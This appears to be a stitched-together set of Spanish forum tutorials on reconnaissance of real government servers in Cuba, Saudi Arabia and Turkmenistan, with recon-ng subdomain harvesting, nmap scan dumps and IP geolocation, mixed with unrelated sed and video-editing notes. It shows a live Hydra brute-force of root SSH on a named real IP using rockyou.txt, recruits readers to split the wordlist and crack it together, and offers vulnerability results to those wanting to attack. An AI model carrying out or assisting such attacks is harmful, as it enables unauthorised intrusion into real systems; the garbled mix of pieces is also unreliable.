# Iterar sobre cada dominio en cu.txt
while read domain; do
echo "options set SOURCE $domain" >> commands
echo "run" >> commands
done < cu.txt
chmod +x script.sh
./script.sh
recon-ng -r /home/usuario/archivos/cuba/commands (tiene que ser ruta completa, no puede ser ruta relativa porque da error)
Volcamos el resultado en un fichero (porque el resultado no entra en el buffer de la pantalla y no se puede copiar)
spool start /home/usuario/cuba/volcado.txt
[*]Spooling output to '/home/usuario/cuba/volcado.txt'.
a partir de ahora todos los resultados de los comandos se guardarán en el fichero volcado.txt
ponemos:
[recon-ng][cuba] > show hosts
[recon-ng][cuba] > spool stop
[*]Spooling stopped. Output saved to '/home/usuario/cuba/volcado.txt'.
[recon-ng][cuba] >
En volcado.txt si hacemos:
cat volcado.txt | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' | wc -l
170
[*]
Pero no son todos esos hosts porque hay algunos dominios o subdominios apuntando a mismas ips
# Iterar sobre cada ip en ips_medios_cu.txt
while read ip; do
echo "$(mmdblookup --file ../GeoLite2-City.mmdb --ip $ip | grep -oE '[0-9]{1,3}\.[0-9]{6}' | tr '\n' ',' | sed 's/,$/\n/')" >> ubicaciones_hosts_gobierno_cu.txt
done < ips_medios_cu.txt
[*]
[*]chmod +x ubicaciones_medios_cu.sh
[*]./ubicaciones_medios_cu.sh
cat ubicaciones_hosts_gobierno_cu.txt | sort | uniq | wc -l
7
Los 88 hosts se encuentran todos en tan sólo 7 ubicaciones, (datacenters tal vez)
En éste tutorial trataremos de entender la parte más difícil y menos explicada de éste comando, si alguien puede y quiere explicarlo mejor que lo haga
El espacio de patrón y de retención, muy difícil de comprender sin explicarlo muy bien
sed@command:~$ cat lineas.txt
una
dos
tres
cuatro
cinco
seis
siete
ocho
nueve
diez
sed@command:~$
sed@command:~$ cat lineas2.txt (tiene un espacio al final de la última línea)
una
dos
tres
cuatro
cinco
seis
siete
ocho
nueve
diez
sed@command:~$
sed@command:~$ cat lineas.txt | sed '/./{H;d};x;' (como la condición /./ siempre se cumple nunca llega a ejecutar x y por eso no imprime nada
sed@command:~$
sed@command:~$ cat lineas2.txt | sed '/./{H;d};x;' (como el archivo al final contiene una línea en blanco /./ deja de cumplirse, pasa a la instrucción x y por eso imprime
una
dos
tres
cuatro
cinco
seis
siete
ocho
nueve
diez
sed@command:~$
El comando podría leerse algo así, if /./ { do{H;d}while(no linea en blanco);x }
Mientras la línea contiene algo ejecuta {H;d} (añade la línea del espacio de patron al de retención y la borra del espacio de patrón), y cuando no (la línea ultima en blanco) ejecuta x (intercambia las líneas almacenadas en el espacio de retención a patrón) y por eso las imprime todas
Etiquetas condicionales
si la línea coincide con el patron cuatro salta a la etiqueta z y sólo sustituye u por chu, sino sustituye u por mu y luego u por chu
sed@command:~$ sed '/cuatro/bz;s/u/mu/;:z;s/u/chu/' lineas.txt
mchuna
dos
tres
cchuatro
cinco
seis
siete
ocho
nmchueve
diez
sed@command:~$
Condicionales fáciles
-nE (imprime sólo lo que coincide y habilita el uso de expresiones regulares sin tener que escapar los caracteres con \)
sed@command:~$ sed -nE '/^.{4}$/p' lineas.txt (líneas que sólo tengan 4 caracteres)
tres
seis
ocho
diez
sed@command:~$ sed -nE '/^.{4}$/{n;p}' lineas.txt (n salta a la siguiente línea y p imprime)
cuatro
siete
nueve
once once
sed@command:~$ sed -nE '/^.{4}$/{n;n;p}' lineas.txt (salta 2 líneas e imprime)
cinco
ocho
sed@command:~$
El host físico se encuentra a 2.15 km de la carretera más cercana
hydra@kp:~$ ssh root@175.45.178.129
Unable to negotiate with 175.45.178.129 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
hydra@kp:~$
Para poder establecer la conexión debemos especificar el uso de un algoritmo antiguo
(root@175.45.178.129) Password:
(root@175.45.178.129) Password:
(root@175.45.178.129) Password:
root@175.45.178.129's password:
Connection closed by 175.45.178.129 port 22
Como vemos no pide clave de autenticación para que sólo pueda conectarse un cliente reconocido, por lo que cualquiera puede hacer un ataque de fuerza. Permite 4 intentos máximos y se cierra la conexión, lo típico y normal, pero como veremos más adelante ésto se lo salta hydra
Podemos observar que el servidor pide contraseña aún no existiendo el nombre de usuario (como en todas las distribuciones Gnu/Linux), ésto va a dificultar el ataque de fuerza bruta porque no podemos deducir cual es. Una opción es usar rockyou.txt para el login y también para el password. pero como lo normal es tener un usuario root no nos vamos a complicar
En hydra no es necesario especificar ningún algoritmo para establecer la comunicación
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-16 17:06:36
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://175.45.178.129:22/
[STATUS] 449.00 tries/min, 449 tries in 00:01h, 14343982 to do in 532:27h, 16 active
[STATUS] 214.67 tries/min, 644 tries in 00:03h, 14343787 to do in 1113:39h, 16 active
[STATUS] 196.57 tries/min, 1376 tries in 00:07h, 14343055 to do in 1216:07h, 16 active
[STATUS] 204.33 tries/min, 3065 tries in 00:15h, 14341366 to do in 1169:47h, 16 active
[STATUS] 227.48 tries/min, 7052 tries in 00:31h, 14337379 to do in 1050:26h, 16 active
[STATUS] 216.09 tries/min, 10156 tries in 00:47h, 14334275 to do in 1105:37h, 16 active
Lo mismo pero utilizando también rockyou.txt como diccionario para login
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-16 18:54:16
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task
[DATA] attacking ssh://175.45.178.129:22/
[STATUS] 569.00 tries/min, 569 tries in 00:01h, 14343862 to do in 420:09h, 16 active
[STATUS] 394.00 tries/min, 1182 tries in 00:03h, 14343249 to do in 606:45h, 16 active
Como vemos funciona y se salta el límite de los 4 intentos cuando intentamos acceder de forma manual.
Sería más rápido, eficiente e interesante unir fuerzas dividiendo el fichero rockyou.txt en varias partes y que entre todos sacasemos el password y el user
Starting Nmap 7.80 ( https://nmap.org ) at 2024-12-15 04:08 CET
Nmap scan report for 79.174.36.70
Host is up (0.16s latency).
Not shown: 96 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
443/tcp open https
1723/tcp open pptp
Nmap scan report for 79.174.36.220
Host is up (0.17s latency).
Not shown: 95 filtered ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
443/tcp open https
3306/tcp open mysql
Nmap done: 2 IP addresses (2 hosts up) scanned in 11.98 seconds
No hace falta que hagas el escaner, puedes descargar el fichero que se adjunta en éste post y empezar a probar, pero eso solo si no estás leyendo éste post años después.
Tal vez esos de más de masscan sean falsos positivos, por lo general nmap es bastante preciso
Obtenemos una lista única sin repetir los puertos de Nmap para hacernos una idea general:
cat nmap_ips_gobierno_as.nmap | grep open | sed 's/ \+open \+/ open /g' | sort | uniq | sed '$d' | sed '$d'
10000/tcp open snet-sensor-mgmt
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1028/tcp open unknown
1029/tcp open ms-lsa
106/tcp open pop3pw
110/tcp open pop3
1110/tcp open nfsd-status
111/tcp open rpcbind
113/tcp open ident
119/tcp open nntp
135/tcp open msrpc
13/tcp open daytime
1433/tcp open ms-sql-s
143/tcp open imap
144/tcp open news
1720/tcp open h323q931
1723/tcp open pptp
1755/tcp open wms
179/tcp open bgp
1900/tcp open upnp
199/tcp open smux
2000/tcp open cisco-sccp
2001/tcp open dc
2049/tcp open nfs
2121/tcp open ccproxy-ftp
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
26/tcp open rsftp
2717/tcp open pn-requester
3000/tcp open ppp
3128/tcp open squid-http
32768/tcp open filenet-tms
3306/tcp open mysql
3389/tcp open ms-wbt-server
37/tcp open time
389/tcp open ldap
3986/tcp open mapper-ws_ethd
427/tcp open svrloc
443/tcp open https
444/tcp open snpp
445/tcp open microsoft-ds
465/tcp open smtps
4899/tcp open radmin
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
49156/tcp open unknown
49157/tcp open unknown
5000/tcp open upnp
5009/tcp open airport-admin
5051/tcp open ida-agent
5060/tcp open sip
5101/tcp open admdog
513/tcp open login
514/tcp open shell
515/tcp open printer
5190/tcp open aol
5357/tcp open wsdapi
53/tcp open domain
5432/tcp open postgresql
543/tcp open klogin
544/tcp open kshell
548/tcp open afp
554/tcp open rtsp
5631/tcp open pcanywheredata
5666/tcp open nrpe
5800/tcp open vnc-http
587/tcp open submission
5900/tcp open vnc
6000/tcp open X11
6001/tcp open X11:1
631/tcp open ipp
646/tcp open ldp
6646/tcp open unknown
7070/tcp open realserver
79/tcp open finger
7/tcp open echo
8000/tcp open http-alt
8008/tcp open http
8009/tcp open ajp13
8080/tcp open http-proxy
8081/tcp open blackice-icecap
80/tcp open http
81/tcp open hosts2-ns
8443/tcp open https-alt
873/tcp open rsync
8888/tcp open sun-answerbook
88/tcp open kerberos-sec
9100/tcp open jetdirect
990/tcp open ftps
993/tcp open imaps
995/tcp open pop3s
9999/tcp open abyss
9/tcp open discard
El módulo cargado lo que hará será intentar obtener todos los subdominios de los dominios o subdominios dados
[recon-ng][arabia_saudi][hackertarget] > options (si le das a tab salen los parámetros de options)
list set unset
[recon-ng][arabia_saudi][hackertarget] > options set SOURCE spa.gov.sa
SOURCE => spa.gov.sa
[recon-ng][arabia_saudi][hackertarget] > options list
Name Current Value Required Description
------ ------------- -------- -----------
SOURCE spa.gov.sa yes source of input (see 'info' for details)
[recon-ng][arabia_saudi][hackertarget] > run (ejecuta el módulo cargado)
muestra subdominios con sus respectivas ips
Pero en en fichero medios.txt teníamos muchos dominios, no podemos ir de uno en uno, es mucho tiempo y repetir las mismas líneas muchas veces, para ello salimos de la interfaz con el comando back 2 veces y utilizamos la opción -r de recon-ng y le damos el fichero con los comandos, pero para crear el fichero con los comandos hay que hacer un script que repita los comandos que hemos puesto en la interfaz, veamos:
[*]Spooling output to '/home/usuario/arabia_saudi/volcado.txt'.
a partir de ahora todos los resultados de los comandos se guardarán en el fichero volcado.txt
ponemos:
[recon-ng][arabia_saudi] > show hosts
[recon-ng][arabia_saudi] > spool stop
[*]Spooling stopped. Output saved to '/home/usuario/arabia_saudi/volcado.txt'.
[recon-ng][arabia_saudi] >
En volcado.txt si hacemos:
cat volcado.txt | grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' | wc -l
850
[*]
Pero no son todos esos hosts porque hay algunos dominios o subdominios apuntando a mismas ips
Ahí si que se obtiene el número total de hosts físicos. Tal vez pueda interesar donde están físicamente y de alguna manera dibujar un mapa de donde están. Si leíste los anteriores posts recordarás como obtener ubicaciones a partir de la base de datos GeoLite2-City, así que primero creamos un fichero con todas las ips y después un script que itere sobre cada una, se lo de al comando y éste vaya añadiendo la ubicación a un fichero
# Iterar sobre cada ip en ips_servidores_gobierno_sa.txt
while read ip; do
echo "$(mmdblookup --file ../GeoLite2-City.mmdb --ip $ip | grep -oE '[0-9]{1,3}\.[0-9]{6}' | tr '\n' ',' | sed 's/,$/\n/')" >> ubicaciones_hosts_gobierno_as.txt
done < ips_servidores_gobierno_sa.txt
Para unir todas las partes que hemos extraído deben de tener todas los mismos códecs de audio, vídeo, contenedor (mkv,webm,etc) y tienen que tener los mismos canales de audio
si el vídeo se oye mal al unir las partes es posible que alguna parte esté en estéreo y las otras no, o viceversa, para arreglarlo se puede poner todas a estéreo o sólamente la parte que no lo está
3º nmap -oA nmap_medios_af -iL medios.txt -A -T4 (tarda unos 25 minutos)
# Nmap 7.80 scan initiated Fri Dec 6 20:06:27 2024 as: nmap -oA nmap_medios_tm -iL medios.txt -A -T4
Warning: 217.174.238.29 giving up on port because retransmission cap hit (6).
Warning: 217.174.238.29 giving up on port because retransmission cap hit (6).
Warning: 217.174.238.29 giving up on port because retransmission cap hit (6).
Warning: 216.250.10.199 giving up on port because retransmission cap hit (6).
Warning: 216.250.11.65 giving up on port because retransmission cap hit (6).
Warning: 216.250.11.231 giving up on port because retransmission cap hit (6).
Warning: 217.174.238.29 giving up on port because retransmission cap hit (6).
Nmap scan report for mfa.gov.tm (217.174.238.29)
Host is up (0.17s latency).
Not shown: 936 closed ports, 62 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx
443/tcp open tcpwrapped
Nmap scan report for migration.gov.tm (216.250.11.21)
Host is up (0.16s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
443/tcp open tcpwrapped
|_http-server-header: nginx
|_http-title: T\xC3\x9CRKMENISTANY\xC5\x87 D\xC3\x96WLET MIGRASI\xC3\x9DA GULLUGY
| ssl-cert: Subject: commonName=*.migration.gov.tm
| Subject Alternative Name: DNS:*.migration.gov.tm, DNS:migration.gov.tm
| Not valid before: 2024-04-04T00:00:00
|_Not valid after: 2025-04-04T23:59:59
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Nmap scan report for turkmenistan.gov.tm (217.174.238.29)
Host is up (0.16s latency).
Not shown: 927 closed ports, 71 filtered ports
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
443/tcp open tcpwrapped
Nmap scan report for turkmentv.gov.tm (216.250.11.231)
Host is up (0.17s latency).
Not shown: 938 closed ports, 60 filtered ports
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
|_http-server-header: nginx
|_https-redirect: ERROR: Script execution failed (use -d to debug)
443/tcp open tcpwrapped
|_http-server-header: nginx
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=*.turkmentv.gov.tm
| Subject Alternative Name: DNS:*.turkmentv.gov.tm, DNS:turkmentv.gov.tm
| Not valid before: 2024-09-06T00:00:00
|_Not valid after: 2025-09-06T23:59:59
| tls-alpn:
| h2
|_ http/1.1
Nmap scan report for docslibrary.gov.tm (216.250.10.110)
Host is up (0.17s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
|_http-server-header: nginx
443/tcp open tcpwrapped
|_http-server-header: nginx
|_http-title: Digital Library Of International Documents
| ssl-cert: Subject: commonName=docslibrary.gov.tm
| Subject Alternative Name: DNS:docslibrary.gov.tm, DNS:www.docslibrary.gov.tm
| Not valid before: 2024-07-04T00:00:00
|_Not valid after: 2025-07-04T23:59:59
| tls-alpn:
|_ http/1.1
Nmap scan report for mlsp.gov.tm (216.250.9.121)
Host is up (0.17s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
|_http-server-header: nginx
443/tcp open tcpwrapped
|_http-server-header: nginx
| ssl-cert: Subject: commonName=mlsp.gov.tm
| Subject Alternative Name: DNS:mlsp.gov.tm, DNS:www.mlsp.gov.tm
| Not valid before: 2024-05-21T00:00:00
|_Not valid after: 2025-05-21T23:59:59
| tls-alpn:
|_ http/1.1
Nmap scan report for stat.gov.tm (216.250.9.50)
Host is up (0.17s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
443/tcp open tcpwrapped
| ssl-cert: Subject: commonName=*.stat.gov.tm
| Subject Alternative Name: DNS:*.stat.gov.tm, DNStat.gov.tm
| Not valid before: 2024-06-04T00:00:00
|_Not valid after: 2025-06-04T23:59:59
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
8081/tcp open tcpwrapped
8084/tcp open tcpwrapped
Nmap scan report for tdh.gov.tm (217.174.238.29)
Host is up (0.17s latency).
Not shown: 915 closed ports, 83 filtered ports
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
443/tcp open tcpwrapped
Nmap scan report for customs.gov.tm (217.174.238.29)
Host is up (0.16s latency).
Not shown: 919 closed ports, 79 filtered ports
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
|_http-server-header: nginx
|_http-server-header: nginx
|_http-server-header: nginx
443/tcp open tcpwrapped
| http-robots.txt: 3 disallowed entries
|_/storage/ /vendor/ /public/pages/
|_http-server-header: nginx
|_http-server-header: nginx
|_http-server-header: nginx
|_http-server-header: nginx
| ssl-cert: Subject: commonName=www.tdh.gov.tm
| Subject Alternative Name: DNS:www.tdh.gov.tm, DNS:tdh.gov.tm
| Not valid before: 2023-12-14T00:00:00
|_Not valid after: 2024-12-22T23:59:59
| ssl-cert: Subject: commonName=mfa.gov.tm
| Subject Alternative Name: DNS:mfa.gov.tm, DNS:www.mfa.gov.tm
| Not valid before: 2024-05-01T00:00:00
|_Not valid after: 2025-05-01T23:59:59
| ssl-cert: Subject: commonName=www.turkmenistan.gov.tm
| Subject Alternative Name: DNS:www.turkmenistan.gov.tm, DNS:turkmenistan.gov.tm
| Not valid before: 2023-12-14T00:00:00
|_Not valid after: 2024-12-22T23:59:59
| ssl-cert: Subject: commonName=customs.gov.tm
| Subject Alternative Name: DNS:customs.gov.tm, DNS:www.customs.gov.tm
| Not valid before: 2023-12-09T00:00:00
|_Not valid after: 2024-12-09T23:59:59
Nmap scan report for asuda.gov.tm (95.85.97.147)
Host is up (0.17s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://asuda.gov.tm/
443/tcp open tcpwrapped
|_http-server-header: nginx
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: commonName=*.asuda.gov.tm
| Subject Alternative Name: DNS:*.asuda.gov.tm, DNS:asuda.gov.tm
| Not valid before: 2024-11-22T00:00:00
|_Not valid after: 2025-11-22T23:59:59
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
8080/tcp closed http-proxy
8443/tcp closed https-alt
Nmap scan report for turkmenistaninfo.gov.tm (95.85.126.122)
Host is up (0.15s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
|_http-server-header: nginx/1.26.2
443/tcp open tcpwrapped
|_http-server-header: nginx/1.26.2
|_http-title: __TITLE__
| ssl-cert: Subject: commonName=turkmenistaninfo.gov.tm
| Subject Alternative Name: DNS:turkmenistaninfo.gov.tm, DNS:www.turkmenistaninfo.gov.tm
| Not valid before: 2024-02-22T00:00:00
|_Not valid after: 2025-02-21T23:59:59
| tls-alpn:
|_ http/1.1
Nmap scan report for maslahat.gov.tm (216.250.11.65)
Host is up (0.16s latency).
Not shown: 902 closed ports, 95 filtered ports
PORT STATE SERVICE VERSION
443/tcp open tcpwrapped
|_http-server-header: nginx/1.24.0 (Ubuntu)
| ssl-cert: Subject: commonName=maslahat.gov.tm
| Subject Alternative Name: DNS:maslahat.gov.tm, DNS:www.maslahat.gov.tm
| Not valid before: 2024-11-25T07:31:15
|_Not valid after: 2025-02-23T07:31:14
3000/tcp open tcpwrapped
5003/tcp open tcpwrapped
Nmap scan report for education.gov.tm (216.250.12.92)
Host is up (0.16s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
|_http-server-header: nginx
443/tcp open tcpwrapped
|_http-server-header: nginx
|_http-title: 403 Forbidden
| ssl-cert: Subject: commonName=education.gov.tm
| Subject Alternative Name: DNS:education.gov.tm, DNS:www.education.gov.tm
| Not valid before: 2024-06-24T00:00:00
|_Not valid after: 2025-06-24T23:59:59
Nmap scan report for mintradefer.gov.tm (216.250.11.34)
Host is up (0.16s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open tcpwrapped
|_http-server-header: Apache/2.4.62 (Ubuntu)
443/tcp open tcpwrapped
|_http-cors: GET
|_http-server-header: Apache/2.4.62 (Ubuntu)
|_http-title: TS we DYAM
| ssl-cert: Subject: commonName=mintradefer.gov.tm
| Subject Alternative Name: DNS:mintradefer.gov.tm, DNS:www.mintradefer.gov.tm
| Not valid before: 2023-12-29T00:00:00
|_Not valid after: 2024-12-29T23:59:59
| tls-alpn:
|_ http/1.1
Nmap scan report for milligosun.gov.tm (216.250.9.51)
Host is up (0.17s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx (reverse proxy)
|_http-server-header: Milligosun Server
443/tcp open ssl/http nginx (reverse proxy)
|_http-server-header: Milligosun Server
| ssl-cert: Subject: commonName=milligosun.gov.tm
| Subject Alternative Name: DNS:milligosun.gov.tm, DNS:www.milligosun.gov.tm
| Not valid before: 2024-09-30T00:00:00
|_Not valid after: 2024-12-29T23:59:59
| tls-alpn:
| h2
|_ http/1.1
| tls-nextprotoneg:
| h2
|_ http/1.1
3000/tcp open ppp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-store
| Content-Type: text/html; charset=utf-8
| Location: /login
| Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Fri, 06 Dec 2024 19:30:37 GMT
| Content-Length: 29
| href="/login">Found</a>.
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-store
| Content-Type: text/html; charset=utf-8
| Location: /login
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Fri, 06 Dec 2024 19:30:01 GMT
| Content-Length: 29
| href="/login">Found</a>.
| HTTPOptions:
| HTTP/1.0 302 Found
| Cache-Control: no-store
| Location: /login
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Fri, 06 Dec 2024 19:30:07 GMT
|_ Content-Length: 0
8000/tcp closed http-alt
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.80%I=7%D=12/6%Time=675350B7%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,118,"HTTP/1\.0\x20302\x20Found\r\nCache-Contro
SF:l:\x20no-store\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nLocat
SF:ion:\x20/login\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options
SF::\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Fri,\x20
SF:06\x20Dec\x202024\x2019:30:01\x20GMT\r\nContent-Length:\x2029\r\n\r\n<a
SF:\x20href=\"/login\">Found</a>\.\n\n")%r(Help,67,"HTTP/1\.1\x20400\x20Ba
SF:d\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnec
SF:tion:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,D2,"HTTP/1\
SF:.0\x20302\x20Found\r\nCache-Control:\x20no-store\r\nLocation:\x20/login
SF:\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX
SF:-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20Fri,\x2006\x20Dec\x202
SF:024\x2019:30:07\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,
SF:67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\
SF:x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")
SF:%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x2
SF:0Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad\x2
SF:0Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection
SF::\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=ut
SF:f-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Kerberos,6
SF:7,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x
SF:20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%
SF:r(FourOhFourRequest,182,"HTTP/1\.0\x20302\x20Found\r\nCache-Control:\x2
SF:0no-store\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nLocation:\
SF:x20/login\r\nSet-Cookie:\x20redirect_to=%2Fnice%2520ports%252C%2FTri%25
SF:6Eity\.txt%252ebak;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Conten
SF:t-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protect
SF:ion:\x201;\x20mode=block\r\nDate:\x20Fri,\x2006\x20Dec\x202024\x2019:30
SF::37\x20GMT\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found<
SF:/a>\.\n\n");
Nmap scan report for minjust.gov.tm (216.250.10.199)
Host is up (0.21s latency).
Not shown: 927 closed ports, 71 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
| ssl-cert: Subject: commonName=www.minjust.gov.tm
| Subject Alternative Name: DNS:minjust.gov.tm, DNS:www.minjust.gov.tm
| Not valid before: 2024-09-23T02:29:40
|_Not valid after: 2024-12-22T02:29:39
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for tca.gov.tm (217.174.238.148)
Host is up (0.17s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.26.1
|_http-server-header: nginx/1.26.1
443/tcp open ssl/http nginx 1.26.1
|_http-server-header: nginx/1.26.1
| ssl-cert: Subject: commonName=tca.gov.tm
| Subject Alternative Name: DNS:tca.gov.tm, DNS:www.tca.gov.tm
| Not valid before: 2024-11-30T05:15:14
|_Not valid after: 2025-02-28T05:15:13
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec 6 20:33:10 2024 -- 17 IP addresses (17 hosts up) scanned in 1602.39 seconds
No se obtienen datos de interés, sin embargo si hacemos un scan de vulnerabilidades con:
el resultado de éste último escaner le dejo en el .tar.gz. Es necesario que te registres para descargarlo y verlo. Aunque no es un secreto es mejor que no se den a conocer públicamente vulnerabilidades pero que al mismo tiempo si se enseñe a un público con un interés en atacarles, el objetivo es debilitar totalitarios, no hacerles más fuertes
tat.gov.tm